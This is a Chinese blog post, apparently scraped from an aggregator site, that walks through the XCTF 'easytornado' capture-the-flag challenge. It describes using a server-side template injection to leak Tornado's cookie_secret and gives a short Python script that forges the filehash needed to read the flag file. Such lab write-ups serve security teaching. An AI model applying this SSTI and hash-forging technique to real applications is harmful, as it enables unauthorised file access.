欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

XCTF的easytornado题目

程序员文章站 2022-03-09 22:43:33
...

py是个好工具,要多加以利用
XCTF的easytornado题目XCTF的easytornado题目XCTF的easytornado题目![在这里插入图片描述](https://img-blog.csdnimg.cn/20200707170254527.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2RhcWlhbmdkZXRpYW54aWE=,size_16,color_FFFFFF,t_70

经过分析。看到题目的关键点在于找到cookie_secret.
于是想到两种方法:
1. 利用彩虹表通过反向找到coookie_secret的内容
2. 是否存在ssti漏洞,可以直接找到cookie_secret文件
尝试一些后发现存在ssti漏洞
XCTF的easytornado题目看别人的writeup,发现handler.settings能够找到,于是
XCTF的easytornado题目
然后用python用md5加密文件

import hashlib


cookie_secret='3321c76a-3b14-4d5a-8b61-98944f97fd29'
#hashlib.md5(cookie_secret+md5(filename))
k=cookie_secret+hashlib.md5('/fllllllllllllag'.encode(encoding='UTF-8')).hexdigest()
m=hashlib.md5(k.encode(encoding='UTF-8')).hexdigest()
print(m)

然后通过得出的m输入到filehash后面,得到flag。
file?filename=/fllllllllllllag&filehash=

相关标签: 渗透测试